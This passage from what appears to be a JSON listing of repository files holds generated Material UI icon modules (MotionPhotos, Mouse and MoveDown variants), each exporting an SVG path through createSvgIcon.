0-.52-.17-.61-.43l-.56-1.61H10.4l-.57 1.62c-.09.26-.33.43-.61.43-.46-.01-.77-.46-.61-.88\"\n}), 'MotionPhotosAutoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosAutoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2.88 7.88 1.54 1.54C4.15 10.23 4 11.1 4 12c0 4.41 3.59 8 8 8s8-3.59 8-8-3.59-8-8-8c-.9 0-1.77.15-2.58.42L7.89 2.89C9.15 2.32 10.54 2 12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12c0-1.47.32-2.86.88-4.12M7 5.5C7 6.33 6.33 7 5.5 7S4 6.33 4 5.5 4.67 4 5.5 4 7 4.67 7 5.5m5.03 3.49h-.07L10.8 12.3h2.39zM12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.71-10.5h1.43l3.01 8h-1.39l-.72-2.04h-3.23l-.73 2.04H8.28z\"\n}), 'MotionPhotosAutoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosAutoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2.88 7.88 1.54 1.54C4.15 10.23 4 11.1 4 12c0 4.41 3.59 8 8 8s8-3.59 8-8-3.59-8-8-8c-.9 0-1.77.15-2.58.42L7.89 2.89C9.15 2.32 10.54 2 12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12c0-1.47.32-2.86.88-4.12M7 5.5C7 6.33 6.33 7 5.5 7S4 6.33 4 5.5 4.67 4 5.5 4 7 4.67 7 5.5m5.03 3.49h-.07L10.8 12.3h2.39zM12 18c3.31 0 6-2.69 6-6s-2.69-6-6-6-6 2.69-6 6 2.69 6 6 6m-.71-10.5h1.43l3.01 8h-1.39l-.72-2.04h-3.23l-.73 2.04H8.28z\"\n}), 'MotionPhotosAutoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosAutoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2.88 7.88 1.54 1.54C4.15 10.23 4 11.1 4 12c0 4.41 3.59 8 8 8s8-3.59 8-8-3.59-8-8-8c-.9 0-1.77.15-2.58.42L7.89 2.89C9.15 2.32 10.54 2 12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12c0-1.47.32-2.86.88-4.12M7 5.5C7 6.33 6.33 7 5.5 7S4 6.33 4 5.5 4.67 4 5.5 4 7 4.67 7 5.5m5.03 3.49h-.07L10.8 12.3h2.39zm-.74-1.49h1.43l3.01 8h-1.39l-.72-2.04h-3.23l-.73 2.04H8.28z\"\n}), 'MotionPhotosAutoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosAutoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2.88 7.88 1.54 1.54C4.15 10.23 4 11.1 4 12c0 4.41 3.59 8 8 8s8-3.59 8-8-3.59-8-8-8c-.9 0-1.77.15-2.58.42L7.89 2.89C9.15 2.32 10.54 2 12 2c5.52 0 10 4.48 10 10s-4.48 10-10 10S2 17.52 2 12c0-1.47.32-2.86.88-4.12M7 5.5C7 6.33 6.33 7 5.5 7S4 6.33 4 5.5 4.67 4 5.5 4 7 4.67 7 5.5m5.03 3.49h-.07L10.8 12.3h2.39zm-.74-1.49h1.43l3.01 8h-1.39l-.72-2.04h-3.23l-.73 2.04H8.28z\"\n}), 'MotionPhotosAutoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.84 20.84 3.16 3.16 1.89 4.43l1.89 1.89C2.66 7.93 2 9.89 2 12c0 5.52 4.48 10 10 10 2.11 0 4.07-.66 5.68-1.77l1.89 1.89zM12 20c-4.41 0-8-3.59-8-8 0-1.55.45-3 1.22-4.23l1.46 1.46C6.25 10.06 6 11 6 12c0 3.31 2.69 6 6 6 1 0 1.94-.25 2.77-.68l1.46 1.46C15 19.55 13.55 20 12 20M6.32 3.77C7.93 2.66 9.89 2 12 2c5.52 0 10 4.48 10 10 0 2.11-.66 4.07-1.77 5.68l-1.45-1.45C19.55 15 20 13.55 20 12c0-4.41-3.59-8-8-8-1.55 0-3 .45-4.23 1.22zM18 12c0 1-.25 1.94-.68 2.77L9.23 6.68C10.06 6.25 11 6 12 6c3.31 0 6 2.69 6 6\"\n}), 'MotionPhotosOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.84 20.84 3.16 3.16 1.89 4.43l1.89 1.89C2.66 7.93 2 9.89 2 12c0 5.52 4.48 10 10 10 2.11 0 4.07-.66 5.68-1.77l1.89 1.89zM12 20c-4.41 0-8-3.59-8-8 0-1.55.45-3 1.22-4.23l1.46 1.46C6.25 10.06 6 11 6 12c0 3.31 2.69 6 6 6 1 0 1.94-.25 2.77-.68l1.46 1.46C15 19.55 13.55 20 12 20M6.32 3.77C7.93 2.66 9.89 2 12 2c5.52 0 10 4.48 10 10 0 2.11-.66 4.07-1.77 5.68l-1.45-1.45C19.55 15 20 13.55 20 12c0-4.41-3.59-8-8-8-1.55 0-3 .45-4.23 1.22zM18 12c0 1-.25 1.94-.68 2.77L9.23 6.68C10.06 6.25 11 6 12 6c3.31 0 6 2.69 6 6\"\n}), 'MotionPhotosOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.42zM12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06l10.93 10.94C14.86 19.59 13.48 20 12 20m0-16c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.05l1.45 1.45C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.45 1.45C9.14 4.41 10.52 4 12 4\"\n}), 'MotionPhotosOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.42zM12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06l10.93 10.94C14.86 19.59 13.48 20 12 20m0-16c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.05l1.45 1.45C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.45 1.45C9.14 4.41 10.52 4 12 4\"\n}), 'MotionPhotosOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-.92 0-1.8.22-2.58.59l7.99 7.99c.37-.78.59-1.66.59-2.58 0-3.31-2.69-6-6-6M2.1 3.51c-.39.39-.39 1.03 0 1.42l1.56 1.56c-1.25 1.88-1.88 4.21-1.59 6.7.52 4.54 4.21 8.23 8.75 8.75 2.49.28 4.81-.34 6.69-1.59l1.56 1.56c.39.39 1.03.39 1.42 0s.39-1.02 0-1.41L3.51 3.51c-.38-.38-1.02-.39-1.41 0M12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06l1.47 1.47C6.22 10.2 6 11.08 6 12c0 3.31 2.69 6 6 6 .92 0 1.8-.22 2.58-.59l1.47 1.47C14.86 19.59 13.48 20 12 20\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.05l1.45 1.45C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.45 1.45C9.14 4.41 10.52 4 12 4\"\n}, \"1\")], 'MotionPhotosOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-.92 0-1.8.22-2.58.59l7.99 7.99c.37-.78.59-1.66.59-2.58 0-3.31-2.69-6-6-6M2.1 3.51c-.39.39-.39 1.03 0 1.42l1.56 1.56c-1.25 1.88-1.88 4.21-1.59 6.7.52 4.54 4.21 8.23 8.75 8.75 2.49.28 4.81-.34 6.69-1.59l1.56 1.56c.39.39 1.03.39 1.42 0s.39-1.02 0-1.41L3.51 3.51c-.38-.38-1.02-.39-1.41 0M12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06l1.47 1.47C6.22 10.2 6 11.08 6 12c0 3.31 2.69 6 6 6 .92 0 1.8-.22 2.58-.59l1.47 1.47C14.86 19.59 13.48 20 12 20\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.05l1.45 1.45C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.45 1.45C9.14 4.41 10.52 4 12 4\"\n}, \"1\")], 'MotionPhotosOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-.92 0-1.8.22-2.58.59l7.99 7.99c.37-.78.59-1.66.59-2.58 0-3.31-2.69-6-6-6M2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.42zM12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06l1.47 1.47C6.22 10.2 6 11.08 6 12c0 3.31 2.69 6 6 6 .92 0 1.8-.22 2.58-.59l1.47 1.47C14.86 19.59 13.48 20 12 20\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.05l1.45 1.45C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.45 1.45C9.14 4.41 10.52 4 12 4\"\n}, \"1\")], 'MotionPhotosOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-.92 0-1.8.22-2.58.59l7.99 7.99c.37-.78.59-1.66.59-2.58 0-3.31-2.69-6-6-6M2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.42zM12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06l1.47 1.47C6.22 10.2 6 11.08 6 12c0 3.31 2.69 6 6 6 .92 0 1.8-.22 2.58-.59l1.47 1.47C14.86 19.59 13.48 20 12 20\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.05l1.45 1.45C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.45 1.45C9.14 4.41 10.52 4 12 4\"\n}, \"1\")], 'MotionPhotosOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.42zM12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06l10.93 10.94C14.86 19.59 13.48 20 12 20m0-16c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.05l1.45 1.45C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.45 1.45C9.14 4.41 10.52 4 12 4\"\n}), 'MotionPhotosOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MotionPhotosOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.27 2.27C2.61 8.07 2 9.96 2 12c0 5.52 4.48 10 10 10 2.04 0 3.93-.61 5.51-1.66l2.27 2.27 1.41-1.42zM12 20c-4.41 0-8-3.59-8-8 0-1.48.41-2.86 1.12-4.06l10.93 10.94C14.86 19.59 13.48 20 12 20m0-16c4.41 0 8 3.59 8 8 0 1.48-.41 2.86-1.12 4.05l1.45 1.45C21.39 15.93 22 14.04 22 12c0-5.52-4.48-10-10-10-2.04 0-3.93.61-5.51 1.66l1.45 1.45C9.14 4.41 10.52 4 12 4\"\n}), 'MotionPhotosOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mouse.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 1.07V9h7c0-4.08-3.05-7.44-7-7.93M4 15c0 4.42 3.58 8 8 8s8-3.58 8-8v-4H4zm7-13.93C7.05 1.56 4 4.92 4 9h7z\"\n}), 'Mouse');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mouse.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 1.07V9h7c0-4.08-3.05-7.44-7-7.93M4 15c0 4.42 3.58 8 8 8s8-3.58 8-8v-4H4zm7-13.93C7.05 1.56 4 4.92 4 9h7z\"\n}), 'Mouse');"
  },
  {
    "path": "packages/mui-icons-material/lib/MouseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9c-.04-4.39-3.6-7.93-8-7.93S4.04 4.61 4 9v6c0 4.42 3.58 8 8 8s8-3.58 8-8zm-2 0h-5V3.16c2.81.47 4.96 2.9 5 5.84m-7-5.84V9H6c.04-2.94 2.19-5.37 5-5.84M18 15c0 3.31-2.69 6-6 6s-6-2.69-6-6v-4h12z\"\n}), 'MouseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MouseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9c-.04-4.39-3.6-7.93-8-7.93S4.04 4.61 4 9v6c0 4.42 3.58 8 8 8s8-3.58 8-8zm-2 0h-5V3.16c2.81.47 4.96 2.9 5 5.84m-7-5.84V9H6c.04-2.94 2.19-5.37 5-5.84M18 15c0 3.31-2.69 6-6 6s-6-2.69-6-6v-4h12z\"\n}), 'MouseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MouseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 1.07V9h7c0-4.08-3.05-7.44-7-7.93M4 15c0 4.42 3.58 8 8 8s8-3.58 8-8v-4H4zm7-13.93C7.05 1.56 4 4.92 4 9h7z\"\n}), 'MouseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MouseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 1.07V9h7c0-4.08-3.05-7.44-7-7.93M4 15c0 4.42 3.58 8 8 8s8-3.58 8-8v-4H4zm7-13.93C7.05 1.56 4 4.92 4 9h7z\"\n}), 'MouseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MouseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 1.07V9h7c0-4.08-3.05-7.44-7-7.93M4 15c0 4.42 3.58 8 8 8s8-3.58 8-8v-4H4zm7-13.93C7.05 1.56 4 4.92 4 9h7z\"\n}), 'MouseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MouseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 1.07V9h7c0-4.08-3.05-7.44-7-7.93M4 15c0 4.42 3.58 8 8 8s8-3.58 8-8v-4H4zm7-13.93C7.05 1.56 4 4.92 4 9h7z\"\n}), 'MouseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MouseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3.16V9h5c-.04-2.94-2.19-5.37-5-5.84m-2 0C8.19 3.63 6.04 6.06 6 9h5zM11 11H6v4c0 3.31 2.69 6 6 6s6-2.69 6-6v-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 9c-.04-4.39-3.6-7.93-8-7.93S4.04 4.61 4 9v6c0 4.42 3.58 8 8 8s8-3.58 8-8zm-7-5.84c2.81.47 4.96 2.9 5 5.84h-5zm-2 0V9H6c.04-2.94 2.19-5.37 5-5.84M18 15c0 3.31-2.69 6-6 6s-6-2.69-6-6v-4h12z\"\n}, \"1\")], 'MouseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MouseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3.16V9h5c-.04-2.94-2.19-5.37-5-5.84m-2 0C8.19 3.63 6.04 6.06 6 9h5zM11 11H6v4c0 3.31 2.69 6 6 6s6-2.69 6-6v-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 9c-.04-4.39-3.6-7.93-8-7.93S4.04 4.61 4 9v6c0 4.42 3.58 8 8 8s8-3.58 8-8zm-7-5.84c2.81.47 4.96 2.9 5 5.84h-5zm-2 0V9H6c.04-2.94 2.19-5.37 5-5.84M18 15c0 3.31-2.69 6-6 6s-6-2.69-6-6v-4h12z\"\n}, \"1\")], 'MouseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveDown.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11c0 2.45 1.76 4.47 4.08 4.91l-1.49-1.49L7 13l4 4.01L7 21l-1.41-1.41 1.58-1.58v-.06C3.7 17.54 1 14.58 1 11c0-3.87 3.13-7 7-7h3v2H8c-2.76 0-5 2.24-5 5m19 0V4h-9v7zm-2-2h-5V6h5zm-7 4h9v7h-9z\"\n}), 'MoveDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveDown.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11c0 2.45 1.76 4.47 4.08 4.91l-1.49-1.49L7 13l4 4.01L7 21l-1.41-1.41 1.58-1.58v-.06C3.7 17.54 1 14.58 1 11c0-3.87 3.13-7 7-7h3v2H8c-2.76 0-5 2.24-5 5m19 0V4h-9v7zm-2-2h-5V6h5zm-7 4h9v7h-9z\"\n}), 'MoveDown');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11c0 2.45 1.76 4.47 4.08 4.91l-1.49-1.49L7 13l4 4.01L7 21l-1.41-1.41 1.58-1.58v-.06C3.7 17.54 1 14.58 1 11c0-3.87 3.13-7 7-7h3v2H8c-2.76 0-5 2.24-5 5m19 0V4h-9v7zm-2-2h-5V6h5zm-7 4h9v7h-9z\"\n}), 'MoveDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11c0 2.45 1.76 4.47 4.08 4.91l-1.49-1.49L7 13l4 4.01L7 21l-1.41-1.41 1.58-1.58v-.06C3.7 17.54 1 14.58 1 11c0-3.87 3.13-7 7-7h3v2H8c-2.76 0-5 2.24-5 5m19 0V4h-9v7zm-2-2h-5V6h5zm-7 4h9v7h-9z\"\n}), 'MoveDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoveDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.01 10.72c-.14 2.57 1.66 4.73 4.07 5.18l-.79-.79a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l2.59 2.59c.39.39.39 1.02 0 1.41l-2.58 2.6c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41l.88-.88v-.06c-3.64-.43-6.43-3.65-6.15-7.47C1.29 6.78 4.55 4 8.26 4H10c.55 0 1 .45 1 1s-.45 1-1 1H8.22c-2.7 0-5.07 2.04-5.21 4.72M15 11h5c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-5c-1.1 0-2 .9-2 2v3c0 1.1.9 2 2 2m5-2h-5V6h5zm0 11h-5c-1.1 0-2-.9-2-2v-3c0-1.1.9-2 2-2h5c1.1 0 2 .9 2 2v3c0 1.1-.9 2-2 2\"\n}), 'MoveDownRounded');"
  },
  {
